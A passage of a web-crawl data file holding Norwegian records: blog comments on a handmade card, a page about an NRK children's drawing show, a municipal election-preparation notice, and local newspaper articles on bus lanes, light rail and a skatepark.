og herlige fargetoner.\n\n 18. februar 2015 kl. 09:21    \n\n\n\n\n\nGitte sa...\n\nSuper nydeligt kort.\n\n 18. februar 2015 kl. 12:59    \n\n\n\n\n\nJacomijn sa...\n\nOoooo wow\\!  \nI like this\\!\\!\\!  \nThe colours and papers you used are beautiful\\!  \nAlso the lovely flowers\\!  \nReally the style i love\\!  \nKind regards,  \nJacomijn\n\n 18. februar 2015 kl. 14:17    \n\n\n\n\n\nHeidi sa...\n\nDette var bare s\u00e5 utrolig lekkert.  \nLiker s\u00e5 godt stilen du har p\u00e5 tingene dine.  \n  \nKlem Heidi:)\n\n 18. februar 2015 kl. 19:22    \n\n\n\n\n\nCorine Cara sa...\n\nI love you card. The papers're very beautiful.\n\n\n\nSandra Mathis sa...\nBl\u00e5tt och shabbigt, min favoritkombo\\! L\u00e4ckert med n\u00e4tet.  \n\n\n\n\nUnni A sa...\n\nklem Unni\n\n 20. februar 2015 kl. 13:19    \n\n\n\n\n\nSissel sa...\n\nS\u00e5 herlig, nydelige farger og s\u00e5 mange lekre detaljer.  \nTakk for at deltar p\u00e5 KortoMania\u00b4s utfordring.  \nKlem Sissel\n\n 25. februar 2015 kl. 07:33    \n\n\n\n\n\nTroldinden sa...\n\nSuper flot kort :D\n\n 12. september 2017 kl. 10:13    \n\n", "language": "no", "__index_level_0__": "68a9d4ba-e66d-4253-971c-2a282b439783"}
{"url": "http://nett-tvplay.com/oisteins-blyant/", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00143.warc.gz", "warc_date": "2018-03-24T23:49:25Z", "text": "# \u00d8isteins blyant\n\n**\u00d8isteins blyant** er et barne-tv program fra NRK. \u00d8isteins blyant er et tegneprogram, hvor seerne, i tillegg til \u00e5 bli underholdt, kan l\u00e6re \u00e5 tegne alt mulig. Programleder er karikaturtegneren, kunstneren, og tv-produsenten \u00d8istein Kristiansen.\n\nDu kan se \u00d8isteins blyant p\u00e5 NRK Super, eller via nett-tvplay.com.  \n  \nSe alle episodene av \u00d8isteins blyant i reprise n\u00e5. **\u00d8isteins blyant** er et TV-program fra . **\u00d8isteins blyant** ser du p\u00e5 Nett-tvplay.com.  \n  \n", "language": "no", "__index_level_0__": "0ea92c4e-be88-48c1-9fc2-23845346c893"}
{"url": "http://docplayer.me/58231584-Sondre-land-kommune-side-1-moteinnkalling.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00680.warc.gz", "warc_date": "2018-03-25T00:27:01Z", "text": "2 Sak 1/11 ORIENTERING OM KOMMUNESTYREVALGET 2011 Saksbehandler: Knut Viset Arkiv: 014 Arkivsaksnr.: 11/50 Saksnr.: Utvalg M\u00f8tedato 1/11 Valgstyre Innstilling: Saken tas til orientering. Bakgrunn: I 2011 er det kommunestyre- og fylkestingsvalg, og valgdagen er fastsatt til den I forbindelse med gjennomf\u00f8ringen av kommunestyrevalget i 2011, er tiden inne for \u00e5 starte forberedelsesarbeidet som kommunene er p\u00e5lagt. Iht valglovens bestemmelser, skal det v\u00e6re et valgstyre som har ansvaret for \u00e5 gjennomf\u00f8re kommunestyrevalget. Valgstyret skal velges av kommunestyret. Kommunestyret vedtok i m\u00f8te den , sak 60/07 (valg av komit\u00e9er og utvalg m.v) at formannskapet velges som valgstyre for perioden Med denne bakgrunn innkalles valgstyret til oppstartsm\u00f8te for \u00e5 forberede gjennomf\u00f8ringen av kommunestyrevalget Krav og hensyn: Jfr. valglovens bestemmelser (f\u00f8lger vedlagt). Stortinget har vedtatt at det ikke blir \u00e5pnet for en permanent ordning med direkte ordf\u00f8rervalg, og fors\u00f8ksordningen som ble gjennomf\u00f8rt ved forrige kommunevalg videref\u00f8res derfor ikke. Det vil ogs\u00e5 bli gjennomf\u00f8rt kirkevalg i tilknytning til fylkestings- og kommunestyrevalget. Stortinget har vedtatt at det i forbindelse med kommunestyrevalget 2011 skal gjennomf\u00f8res fors\u00f8k med nedsatt stemmealder til 16 \u00e5r. Det er 20 kommuner som er valgt ut for \u00e5 gjennomf\u00f8re dette fors\u00f8ket. I Oppland er det V\u00e5g\u00e5 kommune som er valgt ut. Kommunal- og regionaldepartementet har sendt ut p\u00e5 h\u00f8ring forslag p\u00e5 forskrifter til fors\u00f8ket med nedsatt Side 2 av 8\n\n3 Sak 1/11 stemmealder. H\u00f8ringsfristen er fastsatt til H\u00f8ringsforslaget f\u00f8lger saken som uttrykt vedlegg. Videre er det ogs\u00e5 noen kommuner som skal gjennomf\u00f8re fors\u00f8k med elektronisk stemmegivning. Det er valgt 10 kommuner og en fylkeskommune som skal gjennomf\u00f8re dette fors\u00f8ket. I Oslo vil det foreg\u00e5 valg til bydelene som en del av valget. Fors\u00f8ket med nedsatt stemmealder til 16 \u00e5r og bydelsvalgene i Oslo vil kunne f\u00e5 konsekvenser for gjennomf\u00f8ring av valget i S\u00f8ndre Land i forbindelse med forh\u00e5ndsstemmegivningen. Tidlig forh\u00e5ndsstemmegiving vil starte opp 1. juli, mens den ordin\u00e6re forh\u00e5ndsstemmeavgivningen vil starte 10. august og frem til 9. september. Det er ogs\u00e5 fremmet forslag om endring i valglovens 6-1 om at fristen for innlevering av valglister skal fastsettes til kl 1200 den 31. mars. Dette med bakgrunn i at det i gjeldende bestemmelser ikke er regulert noe konkret klokkeslett annet en at fristen anses \u00e5 v\u00e6re innen utgangen av 31. mars. Dessuten er det av praktiske grunner vanskelig \u00e5 registrere mottak av valglister etter arbeidstidens slutt. Kommunal og regionaldepartementet vil avklare dette sp\u00f8rsm\u00e5let s\u00e5 snart som mulig. For \u00f8vrig foreligger det bl.a. f\u00f8lgende informasjon fra Kommunal- og regionaldepartementet: Orientering om manntallet Orientering om anskaffelse og bruk av valgdatasystemer Universielt utformet valgutstyr Vurdering: Administrativt er det allerede nedsatt en arbeidsgruppe som har i oppgave \u00e5 forberede gjennomf\u00f8ring av kommunestyrevalget. Arbeidsgruppen har laget en framdriftsplan for arbeidet med milep\u00e6ler knyttet til de aktuelle datoene som f\u00f8lger av valglovens bestemmelser. Videre vil arbeidsgruppen ogs\u00e5 utarbeide n\u00e6rmere rutinebeskrivelser for mottak og behandling av innkomne listeforslag, opplegg for bestilling av manntall, valgkort og stemmesedler, samt \u00f8vrig valgmateriell, mottak og registering av forh\u00e5ndsstemer, samt den administrative gjennomf\u00f8ringen og oppf\u00f8lgingen av selve valget. Administrasjonen har allerede sendt ut informasjon om krav til utforming av listeforslag og frist for innlevering til de politiske partiene i S\u00f8ndre Land kommune, jfr. vedlagte brev av Side 3 av 8\n\n4 Sak 1/11 Kommunen har f\u00e5tt tilbud om valgdatasystem fra Ergo Group p\u00e5 samme m\u00e5te som ved de siste valgene. R\u00e5dmannen legger til grunn at n\u00f8dvendig anskaffelse at valgdatasystemet h\u00e5ndteres adminstrativt, og har gitt arbeidsgruppen i oppdrag \u00e5 gjennomg\u00e5 tilbudet med sikte p\u00e5 avtaleinng\u00e5else. Valgdatasystemet inneholder l\u00f8sninger for bl.a. produsjon av manntallsrapporter og produksjon av valgkort, registering av partier og kandidater, stemmetals registeringer og valgresultat. Kostnadene for anskaffelse av valgdatasystemet vil anslagsvis bel\u00f8pe seg til ca kr ekskl. stemmesedler. N\u00e5r det gjelder bestilling av stemmesedler til kommunestyrevalget, vil administrasjonen vurdere n\u00e6rmere om det dette skal bestilles gjennom Ergo Group eller andre. Det er ogs\u00e5 foretatt bestilling til fylket av antall stemmesedler for fylkestingsvalget. Utfra erfaringer ved forrige fylkestingsvalg og siste stortingsvalg, er det bestilt 4000 stemmesedler for hvert av de st\u00f8rre politiske partiene, mens det er bestilt 2000 stemmesedler for hvert av de mindre partiene og blanke stemmesedler. Som tidligere opplyst, vil det ogs\u00e5 bli gjennomf\u00f8rt kirkevalg i tilknytning til fylkestings- og kommunestyrevalget. R\u00e5dmannen ser for seg at den praktiske gjennomf\u00f8ringen av her b\u00f8r dr\u00f8ftes n\u00e6rmere med bakgrunn i de erfaringer som ble gjort forrige gang. R\u00e5dmannen foresl\u00e5r at valgstyret tar redegj\u00f8relsen s\u00e5 langt til orientering, og at de sp\u00f8rsm\u00e5l som valgstyret skal ta stilling til etter valglovens bestemmelser blir \u00e5 fremme som egne saker. Side 4 av 8\n\n6 Sak 2/11 Iht valglovens 9-3 nr. 2, er det valgstyret som selv bestemmer hvor stemmegivningen skal foreg\u00e5, dvs. bestemme valglokale i de aktuelle stemmekretsene. Etter valglovens 4-2, skal det velges stemmestyrer p\u00e5 minst tre medlemmer for hvert stemmested. Kommunestyret kan deleger oppnevning av stemmestyrer til valgstyret. N\u00e5r det gjelder tidspunktet for gjennomf\u00f8ring av valget, fremg\u00e5r det av valglovens 9-2, nr. 2, at det er kommunestyret som m\u00e5 bestemme om det skal gjennomf\u00f8res valg p\u00e5 s\u00f8ndagen f\u00f8r den offisielle valgdagen 12. september, herunder om s\u00f8ndagsvalg skal gj\u00f8res gjeldende for alle stemmestedene eller ikke. Valgstyret bestemmer selv klokkeslettet for \u00e5pningstiden av valglokalene. Ved siste Stortingsvalg ble det bestemt \u00e5 ha s\u00f8ndagsvalg ved alle stemmestedene, og \u00e5pningstiden ble fastsatt til kl p\u00e5 s\u00f8ndagen, og fra kl kl 1800 p\u00e5 selve valgdagen. Etter valglovens bestemmelser kan \u00e5pningstiden v\u00e6re frem til kl I forbindelse med forh\u00e5ndsstemming, er det valgstyret som vedtar hvor dette skal skje. Vurdering: Slik r\u00e5dmannen vurderer valglovens bestemmelser, m\u00e5 det alts\u00e5 fremmes en sak til kommunestyret vedr. fastsetting av antall stemmekretser og om det skal gjennomf\u00f8res valg p\u00e5 s\u00f8ndag 11. september. Videre m\u00e5 det ogs\u00e5 foreligge et vedtak om \u00e5 eventuelt delegere oppnevning av stemmestyrer til valgstyret noe som har v\u00e6rt gjeldende praksis. For \u00e5 overholde fristen om fastsetting av antall stemmekretser, m\u00e5 en slik sak behandles i kommunestyret den 14. mars. R\u00e5dmannen finner det ogs\u00e5 naturlig \u00e5 ha en gjennomgang av de aktuelle stemmelokalene samtidig som en diskuterer antall stemmekretser. Vedlagt oversendes da referater som viser status etter befaringsrunder som ble gjennomf\u00f8rt i tilknytning til Stortingsvalget i F\u00f8r r\u00e5dmannen utarbeider en slik sak til behandling i kommunestyret, finner en det naturlig \u00e5 forh\u00e5ndsdr\u00f8fte dette med valgstyret. Side 6 av 8\n\n", "language": "no", "__index_level_0__": "94fe7a09-3bba-43cf-a913-aa8a357be098"}
{"url": "http://docplayer.me/4719433-Padler-til-jobb-50-inspirere-av-varens-nyheter-fra-fermob.html", "warc_file": "crawl-data/CC-MAIN-2018-13/segments/1521257651465.90/warc/CC-MAIN-20180324225928-20180325005928-00348.warc.gz", "warc_date": "2018-03-25T00:34:02Z", "text": "\n\n2 2 torsdag 21. juni 2012 NYHETER En TUR med STIgnIng Hverdagstur nummer 19 g\u00e5r rundt tjensvoll. turen byr p\u00e5 b\u00e5de stigninger og utsikt. den g\u00e5r gjennom Mosvangen camping og til tjensvoll skole og tjensvoll kirke. Videre b\u00e6rer det oppover mot Lille ullandhaug og den gamle ferdselsveien tjodveien. du kan klatre over gjerdet for \u00e5 n\u00e5 turens h\u00f8yeste punkt Limahaugen (110 moh.), her f\u00e5r du utsikt over jernalderg\u00e5rden. Videre g\u00e5r turen ned til vannbassengene ved Hemmestveitbakken. det hele rundes av etter en tur gjennom den gamle b\u00f8keskogen ved Mosvatnet. Kart finnes p\u00e5 stavanger kommune sine hjemmesider. Vil legge til rette for bybane BYBANE TIL MADLA: Venstre \u00f8nsker at det legges ned kabler for en bybane langs Revheimsvegen allerede n\u00e5. Bybanekontoret forteller at flere beslutninger m\u00e5 tas f\u00f8r det kan skje. (Illustrasjonsfoto: Bydelsutvalget er forn\u00f8yde med at veien mot Kvernevik endelig skal utbedres. Men venstre vil gjerne legge ned kabler for bybanen samtidig. I bydelsutvalget i mai behandlet politikerne saken om nytt kollektivfelt langs Revheimsvegen. Generelt var politikerne selvsagt positive til at det endelig skulle skje utbedringer p\u00e5 denne veien. De hadde likevel et par punkter \u00e5 sette fingeren p\u00e5. Venstrepolitikeren Kolbein Haakon Lunde \u00f8nsket at det ble lagt til rette for bybanen langs denne vegen, samtidig som det ble bygget bussway. Det planlegges store utbygginger langs veien b\u00e5de i Stavanger og Sola og det vil derfor v\u00e6re behov for flere kollektivl\u00f8sninger langs denne hovedferdsels\u00e5ren, sa han. Jeg er ikke enig i at det b\u00f8r kables for bybane. Det er alt for langt frem i tid, mente Kristen H\u00f8yer Mathiassen (h). Hafrsfjord budstikke skrev i forrige utgave om at det plan legges \u00e5 bygge kollektivfelt begge veier p\u00e5 Revheimsvegen fra Hafrsfjord bro til Br\u00e5de. Denne er planlagt \u00e5 st\u00e5 ferdig i 2015/2016. P\u00e5 fjerdeplass I begynnelsen av mai la bybanekontoret frem planene for bybanen i regionen. Her kom det frem at en bybane fra Stavanger til Forus er hovedprioriteten, deretter kommer en rute til Universitetet i Stavanger via Madla Amfi som etappe to. Etappe tre blir en forlengelse fra Forus til Sandnes, og deretter skal bybanen fra Madla forlenges ut til Risavika via Kvernevik i etappe fire. Dette er i hvert fall det bybanekontoret anbefaler. I rapporten deres st\u00e5r det at strekningen til Risavika skal v\u00e6re ferdig f\u00f8r Eksakt \u00e5rstall for p\u00e5begynnelse er ikke satt, men f\u00f8rste etappe til Forus skal v\u00e6re klart i 2018, i f\u00f8lge rapporten. Alts\u00e5 tre \u00e5r etter at kollektivfeltet til Kvernevik. Hvis banen blir vellykket er det ikke noe problem \u00e5 kable p\u00e5 nytt, denne veien vil bli gravd opp uansett, sa H\u00f8yer Mathiassen. Lunde mente derimot at man burde slippe en ny runde med ekspropriasjoner om 15 \u00e5r og heller kable n\u00e5, n\u00e5r veien uansett skulle bygges om. M\u00e5 velge bane f\u00f8rst Georg Karl Gundersen prosjektdirekt\u00f8r ved bybanekontoret, kan fortelle at man f\u00f8rst m\u00e5 bestemme hvor bybanen skal g\u00e5 f\u00f8r man legger ned kabler. Det kan nemlig legges opp til en bybane ved sidene av veien, alts\u00e5 i kollektivfeltet, men den kan ogs\u00e5 legges i midten av veien, slik som det er lagt til rette til i Hillev\u00e5g. I en vanlig vei legges banen ofte midt i. Da er det lettere \u00e5 grave seg ned uten \u00e5 stoppe trafikken, om det skjer noe, sier han. Per n\u00e5 foreligger det ikke noe underlag for om bybanen skal v\u00e6re midtstilt eller ved sidene p\u00e5 Madla. Dette m\u00e5 man vite f\u00f8r man kan legge til rette for en bybane, sier Gundersen. Uvisst n\u00e5r ferdig N\u00e5r det gjelder tidspunkt for bybane p\u00e5 Madla vil ikke Gundersen si s\u00e5 mye mer enn det som st\u00e5r i rapporten. Dette med tidsoppdeling er en vanskelig sak. Det har sammenheng med hvor fort utviklingen g\u00e5r. Derfor er det ikke tatt noe forhold til dette i etappene, sier prosjektdirekt\u00f8ren. I tillegg peker han p\u00e5 at bybanen skal gjennom en beslutningsprosess. S\u00e5 selv om bybanekontoret har skrevet at Madla-UiS b\u00f8r v\u00e6re i etappe nummer to og en rute til Risavika via Kverne-vik b\u00f8r v\u00e6re nummer fire, kan politikerne si noe annet. Det kan v\u00e6re politikerne gj\u00f8r endringer, noe som er veldig vanlig. S\u00e5 det vil ta litt tid f\u00f8r den kommer, sier Gundersen. En tryggere strekning Forel\u00f8pig er planomr\u00e5det for nytt kollektivfelt langs Revheimsvegen fra Hafrsfjord bro til Br\u00e5de. Der vil det tilrettelegges b\u00e5de for kollektivtransport og sykkel. I dag stopper kollektivfeltet like ved Madlakrossen. Kommunen har registrert flere forsinkelser for bussene til Kvernevik i rushtiden, spesielt i Sundekrossen.\n\n\n\n3 M\u00c5 BYGGE SOM TRAPPETRINN Reguleringsplanen for Olavshagen sier n\u00e5 at alle som bor der skal ha utsikt. Bygger en h\u00f8yere, m\u00e5 dermed alle andre f\u00f8lge etter. N\u00e5 skal planen revurderes. I bydelsutvalget i mai behandlet politikerne reguleringsplanen for Olavshagen p\u00e5 Sunde. Kristen H\u00f8yer Mathiassen (h) som ogs\u00e5 er leder for kommunalutvalget for byutvikling i Stavanger forteller at de s\u00e6rlig ser p\u00e5 at det skal v\u00e6re h\u00f8yere utnyttelse langs kollektivaksen. Han legger til at de pr\u00f8ver \u00e5 ikke oppdatere reguleringsplanene for ofte, da det vil bli nedlagt bygge- og deleforbud i planprosessen. HAFRSFJORD BUDSTIKKE TORSDAG 21. JUNI TO SKOLER PRISET FOR REKLAME B\u00e5de Madlamark skole og Gosen skole sendte inn en reklamefilm om seg selv, laget av elevene, til en konkurranse i regi av Den kulturelle skolesekken i Stavanger. Begge skolene stakk av med pris for beste reklamefilm i sin gruppe. Det var klasse 7B ved Madlamark som laget reklamefilmen \u00abMadlamark skole et godt sted \u00e5 v\u00e6re, et godt sted \u00e5 l\u00e6re\u00bb, og f\u00e5r kroner i premie. Gosen f\u00e5r samme summen i premie for beste reklamefilm blant ungdomstrinnene i Stavanger. Disse busstoppene fjernes Bybanekontoret ) P\u00e5 10 \u00e5r har det v\u00e6rt 20 ulykker p\u00e5 den nevnte strekningen. Dette prosjektet vil derimot s\u00f8rge for en tryggere vei for syklister og g\u00e5ende. Kommunens saksbehandlere forteller at det har v\u00e6rt vanskelig \u00e5 prioritere syklister i rundkj\u00f8ringene. Det vurderes derfor om det skal settes opp lyssignal som kan prioritere bussen og holde sidetrafikken tilbake. Vi har hatt fokus p\u00e5 gode l\u00f8sninger for de g\u00e5ende, derav gode underganger, sa saksbehandler Hildegunn Hausken, som er transportplansjef i Stavanger kommune. Nye rundkj\u00f8ringer Flere av avkj\u00f8rslene vil ogs\u00e5 saneres og erstattes med rundkj\u00f8ringer n\u00e5r kollektivfeltet bygges. Det skal komme to nye rundkj\u00f8ringer langs veien, to av de eksisterende skal bygges om og fire skal utvides. Noe m\u00e5 ogs\u00e5 vike for \u00e5 f\u00e5 p\u00e5 plass den nye veien. Blant annet skal syv boliger innl\u00f8ses og en del andre bygninger fjernes. Vegvesenet har v\u00e6rt i kontakt med eierne og har allerede kj\u00f8pt opp en av disse boligene, fortalte saksbehandleren. Det er veldig gledelig at vegvesenet er p\u00e5 hogget. Vi har h\u00f8rt mange andre triste erfaringer ved innl\u00f8sing av boliger, p\u00e5pekte H\u00f8yer Mathiassen. \u00d8nsker bro og sykkelvei En ting politikerne etterlyste i planen var fire felt ogs\u00e5 over Hafrsfjord, da enten med en tunell eller en ny bro. Vi planla fire felt over der for ti \u00e5r siden og enda er det ikke kommet, p\u00e5pekte Amaradasa H. Ranaweera (ap). Bydelsutvalget var ogs\u00e5 veldig opptatt av at det skulle legges til rette for en sykkelveg til Tasta, via Krossberg. Denne planen m\u00e5 ikke \u00f8delegge for det, sa H\u00f8yer Mathiassen. I tillegg til et oversendelsesforslag fra Ranaweera (se ad-sak) og Lunde, la lederen av bydelsutvalget Kate Elin Norland (sp), frem et fellesforslag. Dette innebar: Ikke redusere antall bussholdeplasser. Vurdere signalregulering og nye l\u00f8sninger for syklister i rundkj\u00f8ringene. Utrede alternativ kryssing over Hafrsfjord enten ved tunell eller ny bro i 2. gangsbehandlingen. Legge til rette for sykkelvei fra Revheim til Tasta via Friheim. Punkt en ble oversendelsesforslag, siden ikke alle kunne si seg enig i at redusering av bussholdeplasser var et problem. De tre andre punktene ble enstemmig vedtatt. Noe av det politikerne reagerte mest p\u00e5 i planen, var at det vil bli f\u00e6rre bussholdeplasser langs den nye kollektivaksen. I planen for nytt kollektivfelt langs Revheimsvegen er antall bussholdeplasser fra Br\u00e5de til Hafrsfjord bru redusert med tre. Det vil bli fjernet fem eksisterende holdeplasser, mens to nye vil komme opp. Politikerne synes lite om det og frykter mange vil synes det er for langt \u00e5 g\u00e5 til de ulike holdeplassene. Noe som da vil f\u00f8re til at f\u00e6rre velger bussen fremfor bilen. Det vil fjernes to holdeplasser ved Sunde skole, et ved Ekrehaugen og to ved Sundetunet. I tillegg vil det bli lagt til to nye stopp ved avkj\u00f8rselen til Krossberg. Det er viktig \u00e5 opprettholde antall bussholdeplasser, for \u00e5 gj\u00f8re det mer attraktivt \u00e5 ta buss, sa Anne Ekeli Rettedal (h). FOR: Vi m\u00e5 legge til rette for bybanen n\u00e5, mener Kolbein Haakon Lunde (v). F\u00e6rre stopp reduserer tid Kommunen svarte med at de \u00f8nsker f\u00e6rre stopp langs Revheimsvegen fordi at reisetiden skal bli kortere og bussen skal f\u00e5 bedre fremkommelighet. De pekte p\u00e5 at reisende mente at jo n\u00e6rmere byen du kom, jo mindre betydningsfullt var det med mange stopp og vice versa. I tillegg mente de at det bare i mindre grad ville medf\u00f8re lengre g\u00e5avstander i f\u00f8lge deres analyser. Det er s\u00e5 store avstander her. Hvis vi fjerner holdeplassene blir det mye lettere \u00e5 ta bilen. Mange vil heller gj\u00f8re det enn \u00e5 g\u00e5 fem minutter ekstra, sa Ekeli Rettedal. Flere vil ikke bruke bussen n\u00e5r de f\u00e5r lengre vei \u00e5 g\u00e5, mente ogs\u00e5 Kate Elin Norland (sp). Jeg er skeptisk til \u00e5 ta bort noen holdeplasser. Jeg tror ikke de gamle holdeplassene vil f\u00f8re til forsinkelser, sa Aamaradasa H. Ranaweera (ap). En i for Ranaweera la derfor frem et oversendelsesforslag om \u00e5 beholde de gamle holdeplassene. Dette kom i tillegg til Norland sitt fellesforslag (se hovedsak). H\u00f8yres Kristen H\u00f8yer Mathiassen var den eneste som sa seg enig i det kommunen hadde komt frem til i denne saken. Til tross for at hans partikollega sa det stikk motsatte. Jeg forst\u00e5r at dere reagerer p\u00e5 \u00e5 ta bort holdeplassene vi er jo vanedyr, men jeg velger \u00e5 h\u00f8re p\u00e5 fagekspertisen. Bussen blir forstyrret med flere holdeplasser, og nye underganger vil f\u00f8re til at det blir kortere vei, p\u00e5pekte H\u00f8yer Mathiassen. MOT: Ikke tenk p\u00e5 bybanen n\u00e5, mener Kristen H\u00f8yer Mathiassen (h).\n\n\n\n4 4 TORSDAG 21. JUNI 2012 Derfor trenger vi skatepark Benjamin William Lunde (11) argumenterte for hvorfor en ny skatepark p\u00e5 Tasta var viktig, foran Madla bydelsutvalg. N\u00e5r du skater treffer du mange andre folk, ogs\u00e5 fra andre land. Vi b\u00f8r bygge ny skatepark fordi det er kjekt \u00e5 skate, sa Benjamin William Lunde (11), til forsamlingen i Madla bydelsutvalg. Han benyttet seg av \u00e5pen halvtime i forrige bydelsutvalg til \u00e5 si hvor viktig en skatepark er for barn og unge i Madla. Stavanger kommune planlegger nemlig \u00e5 bygge en splitter ny og moderne skatepark p\u00e5 Tasta, til fordel for alle skaterne i regionen. Per i dag finnes det lite fasiliteter for skatere p\u00e5 Madla og i hele kommunen for den saks skyld. Det er et bra anlegg p\u00e5 Kjelvene p\u00e5 Storhaug, i tillegg til en innend\u00f8rs skatehall like ved. Reiser til Stavanger Lunde har skatet i to \u00e5r n\u00e5. Han skater ofte i omr\u00e5det rundt Kverntorget, siden han bor i Kvernevik. Men det er ikke optimalt. Ofte reiser han og 8-9 andre barn med bussen til Storhaug for \u00e5 benytte Kjelvene skateanlegg, en strekning p\u00e5 hele en mil. Men kommer det et skateanlegg p\u00e5 Tasta f\u00e5r de noe kortere vei til fasilitetene. Parken er planlagt \u00e5 ligge ved Tasta idrettsanlegg, like ved Toppform treningssenter. Tidligere hadde Tasta et av Norges beste anlegg, men s\u00e5 ble flere av rampene slitte og \u00f8delagte, sa Lunde. Kan komme i 2014 Forel\u00f8pig er det ikke bevilget penger til et skateanlegg p\u00e5 Tasta, men hvis det kommer inn i de neste budsjettforhandlingene, kan skateparken bli en realitet i Slike store anlegg er noe som hele regionen trenger. Det er spesielt viktig \u00e5 f\u00e5 med kommunene rundt Stavanger p\u00e5 dette, slik at vi f\u00e5r finansiert det. Ellers synes jeg det er bra at de tilrettelegger for all slags idrett i kommunen, sa Kristen H\u00f8yer Mathiassen (h). Forel\u00f8pig har den nye skateparken en estimert kostnad p\u00e5 25,5 millioner kroner. Positivt bydelsutvalg Jeg er positiv til arbeidet med slike flotte anlegg, men vi m\u00e5 passe p\u00e5 at dette ikke skyver andre idrettsanlegg nedover p\u00e5 prioriteringslisten, p\u00e5pekte Kate Elin Norland (sp), leder av bydelsutvalget. Dette stemte de andre politikerne i mot. H\u00f8yer Mathiassen som ogs\u00e5 sitter i kommunalstyret for byutvikling p\u00e5pekte at en skatepark p\u00e5 Tasta har ligget i kortene lenge. Anlegget p\u00e5 Madlamark har ikke fungert bra og ble raskt \u00f8delagt. Denne gruppen og barna p\u00e5 denne alderen trenger et slikt anlegg, sa han. Den nye parken vil v\u00e6re i betong. St\u00f8ttet s\u00f8nnen Kolbein Haakon Lunde (h) var naturlig nok sv\u00e6rt positiv til det- SKATEFORKJEMPEREN: Benjamin William Lunde (11) talte Madlaskaterne sin sak i bydelsutvalget. (Foto: ). Bilder under: Her skater han p\u00e5 Storhaug. (Foto: privat) te anlegget. Benjamin William Lunde er nemlig s\u00f8nnen hans. Dette vil v\u00e6re et l\u00f8ft for skaterne i Madla. Vi har jo ikke noe anlegg i denne bydelen, sa han. Lunde fremmet s\u00e5 et oversendelsesforslag om at et slikt anlegg vil v\u00e6re viktig for alle skaterne i regionen. Dette ble enstemmig vedtatt sammen med Norland sitt forslag om at bydelsutvalget var positive til prosjektet og st\u00f8ttet arbeidet med \u00e5 f\u00e5 det til \u00e5 bli et interkommunalt anlegg. Kverntorget p\u00e5virker trivselen \u00d8nsker egen frivillighetssentral Kolbein Haakon Lunde (v) mener Kverntorget er en forslumming og stor belastning for beboerne i Kvernevik. I forrige bydelsutvalg behandlet politikerne levek\u00e5rsunders\u00f8kelsen for kommunen. Der har administrasjonen ved hjelp kartlegging av ulike forhold regnet ut hvor det er best \u00e5 bo i Stavanger. Dette er basert p\u00e5 for eksempel inntekt, utdanningsniv\u00e5, gjeld, type boliger og andel sosialhjelpmottakere. Madla sk\u00e5rer, som de ogs\u00e5 har gjort de andre gangene, sv\u00e6rt h\u00f8yt, og ligger stort sett p\u00e5 topp ti blant omr\u00e5dene. Et omr\u00e5de som derimot ikke kommer s\u00e5 h\u00f8yt opp er Kvernevik. Trivsel, trygghet og livskvalitet er viktig for v\u00e5rt omr\u00e5de. Dette innb\u00e6rer blant annet at Kvernevik senter og Kvernevik sv\u00f8mmehall b\u00f8r komme p\u00e5 plass, sa Kate Elin Norland (sp). Kolbein Haakon Lunde (v) \u00f8nsket, som en eventueltsak, ogs\u00e5 fortgang i prosessen med nytt Kverntorg. De som bor i Kvernevik irriterer seg over Kverntorget. N\u00e5 har det g\u00e5tt et halvt \u00e5r uten at noe har skjedd. Dette er forslumming og en stor belastning for beboerne. N\u00e5r skal senteret rives og n\u00e5r er det p\u00e5 plass, spurte Lunde som selv bor i Kvernevik. Det var akkurat det jeg mente i levek\u00e5rsunders\u00f8kelsen, p\u00e5pekte Norland. Kristen H\u00f8yer Mathiassen (h), som ogs\u00e5 sitter i kommunalstyre for byutvikling, kunne fortelle at de aldri har v\u00e6rt n\u00e6rmere et nytt senter enn n\u00e5. Det er sterkt fokus p\u00e5 dette, men kommunen vil ikke rive noe f\u00f8r alt er klargjort, sa han. I forbindelse med behandlingen av frivillighetsmeldingen for levek\u00e5rsomr\u00e5det i Stavanger kommune, \u00f8nsket bydelsutvalget \u00e5 sette trykk p\u00e5 en egen frivillighetssentral i hver bydel. Per i dag finnes det en for Hillev\u00e5g og Hinna, en p\u00e5 Storhaug og en for Eiganes og Tasta. Hundv\u00e5g og Madla har derimot ingen frivillighetssentral. Vi \u00f8nsker \u00e5 signalisere at vi b\u00f8r ha en frivillighetssentral i Madla bydel ogs\u00e5. I dag er det jo kun to bydeler som ikke har det, p\u00e5pekte Kate Elin Norland (sp). Jeg er enig, og vi har pr\u00f8vd p\u00e5 dette flere ganger tidligere, men det har ikke g\u00e5tt p\u00e5 grunn av \u00f8konomien, sa Kristen H\u00f8yer Mathiassen (h). Kommunen lover at frivillighetssentralene skal evalueres i l\u00f8pet av 2012.\n\n\n\n\n\n6 6 TORSDAG 21. JUNI 2012 H\u00f8rer du d\u00e5rlig? Odd Eskildsen har brukt h\u00f8reapparat i 12 \u00e5r. N\u00e5 vil han gjerne gi r\u00e5d og veiledning til andre som har d\u00e5rlig h\u00f8rsel. Odd Eskildsen tror det viktigste for de om h\u00f8rer d\u00e5rlig er at folk rundt dem sier i fra. Den st\u00f8rste utfordringen n\u00e5r en begynner \u00e5 h\u00f8re d\u00e5rlig er nok at en ikke er bevisst p\u00e5 det selv. Det er ofte omgivelsene rundt som merker at noe er galt. At du svarer god-dag-mann-\u00f8kseskaft eller ignorerer det som blir sagt, sier Eskildsen. Selv tror han at han ville g\u00e5tt uten h\u00f8reapparat mye lenger hvis det ikke hadde v\u00e6rt for at kona \u00absparket\u00bb han til legen. N\u00e5 har han hatt h\u00f8reapparat i tolv \u00e5r. D\u00e5rlig vern Eskildsen tror han vet \u00e5rsaken til at han fikk d\u00e5rlig h\u00f8rsel. F\u00f8rste gangen jeg \u00f8dela h\u00f8rselen var da jeg lekte med kinaputter som liten. Da klarte jeg \u00e5 sprenge en n\u00e6r \u00f8ret, og h\u00f8rte jeg ingenting p\u00e5 to dager. Men jeg tenkte ikke mer over det etterp\u00e5, forteller Eskildsen. De to andre faktorene han tror har hatt innvirkning er at han var i milit\u00e6ret i mange \u00e5r og hadde for d\u00e5rlig h\u00f8rselsvern n\u00e5r de drev med skyting. I tillegg har han som formingsl\u00e6rer ved universitetet v\u00e6rt borti mye st\u00f8y p\u00e5 sl\u00f8yden, uten at han har brukt noe verneutstyr. Det kan hende det er noe arvelig hos meg ogs\u00e5, legger Eskildsen til. Sitter p\u00e5 